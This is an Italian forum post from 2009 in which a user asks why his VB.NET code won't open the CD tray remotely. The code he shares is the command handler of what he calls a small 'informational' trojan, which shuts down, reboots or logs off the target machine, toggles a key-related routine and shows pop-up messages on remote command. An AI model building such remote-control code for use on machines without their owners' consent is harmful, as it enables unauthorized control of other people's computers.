Questo sito utilizza cookies, anche di terze parti, per mostrare pubblicità e servizi in linea con il tuo account. Leggi l'informativa sui cookies.
Username: Password: oppure
C# / VB.NET - Problema apertura e chiusura cassetto cd
Forum - C# / VB.NET - Problema apertura e chiusura cassetto cd

Avatar
LittleHacker (Member)
Guru


Messaggi: 1033
Iscritto: 28/04/2009

Segnala al moderatore
Postato alle 22:15
Mercoledì, 26/08/2009
Salve a tutti sto cercando un modo per riuscire ad aprire e chiudere il cassetto del lettore cd in remoto con vb.net il client l'ho già creato pure il server, tutilizzo un timer per controllare quale delle due parole siano state inviate o open o close ma non riesco ne a chiudere ne ad aprire il cd...pensando a un problema di connessione ho provato ad inserirci anche una message box da client a server ma in questo caso funziona...ho controllato anche in locale x l'apertuta e la chiusura del cd e funge non capisco xkè questo è il codice:

Codice sorgente - presumibilmente VB.NET

  1. Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long 'API
  2.  
  3. Select Case keywords
  4.             Case "Disconnect"
  5.                 Application.Exit()
  6.             Case "reboot"
  7.                 ControlKeywords.Stop()
  8.                 Shell("shutdown -r")
  9.             Case "disconnectuser"
  10.                 ControlKeywords.Stop()
  11.                 Shell("shutdown -l")
  12.             Case "activekey"
  13.                 ControlKeywords.Stop()
  14.                 SendKeys.Start()
  15.             Case "deactivekey"
  16.                 ControlKeywords.Stop()
  17.                 SendKeys.Stop()
  18.             Case "opencd"
  19.                 ControlKeywords.Stop()
  20.                 Dim lRet As Long
  21.                 lRet = mciSendString("set CDAudio door open", "", 127, 0) ' questa è la parte che mi interessa
  22.             Case "closecd"
  23.                 ControlKeywords.Stop()
  24.                 Dim lRet As Long
  25.                 lRet = mciSendString("set CDAudio door close", "", 127, 0) ' e questa
  26.             Case "activetastiera"
  27.                 ControlKeywords.Stop()
  28.             Case "deactivetastiera"
  29.                 ControlKeywords.Stop()
  30.             Case "shutdown"
  31.                 ControlKeywords.Stop()
  32.                 Shell("shutdown -s")
  33.         End Select
  34.         If keywords.Contains("MsgBox") Then
  35.             ControlKeywords.Stop()
  36.             Dim a() As String = keywords.Split("MsgBox")
  37.             Dim b As String = a(1)
  38.             Dim c() As String = b.Split("|")
  39.             Dim d As String = c(0)
  40.             Dim en As String = d.Replace("sgBox", "")
  41.             Dim Message As String = en
  42.             Dim Title As String = c(2)
  43.             Dim Tipe As String = c(1)
  44.             If Tipe = "1" Then
  45.                 MessageBox.Show(message, Title, MessageBoxButtons.OK, MessageBoxIcon.None)
  46.                 ControlKeywords.Stop()
  47.             ElseIf Tipe = "2" Then
  48.                 MessageBox.Show(message, Title, MessageBoxButtons.OK, MessageBoxIcon.Information)
  49.                 ControlKeywords.Stop()
  50.             ElseIf Tipe = "3" Then
  51.                 MessageBox.Show(message, Title, MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
  52.                 ControlKeywords.Stop()
  53.             ElseIf Tipe = "4" Then
  54.                 MessageBox.Show(message, Title, MessageBoxButtons.OK, MessageBoxIcon.Error)
  55.                 ControlKeywords.Stop()
  56.             End If
  57.         End If


PS: ho messo tutto il codice del mio programma8-|
è un piccolo trojan per scopo informativo...solo e dico solamente per scopo informativo xkè non mi piace "distruggere" i pc altrui...Spero mi capirete:k: :doubt:

Ultima modifica effettuata da LittleHacker il 26/08/2009 alle 22:17


Android User :)

MudStorm OS Source GitHub: https://github.com/Piso94/MudStorm-OS
PM Quote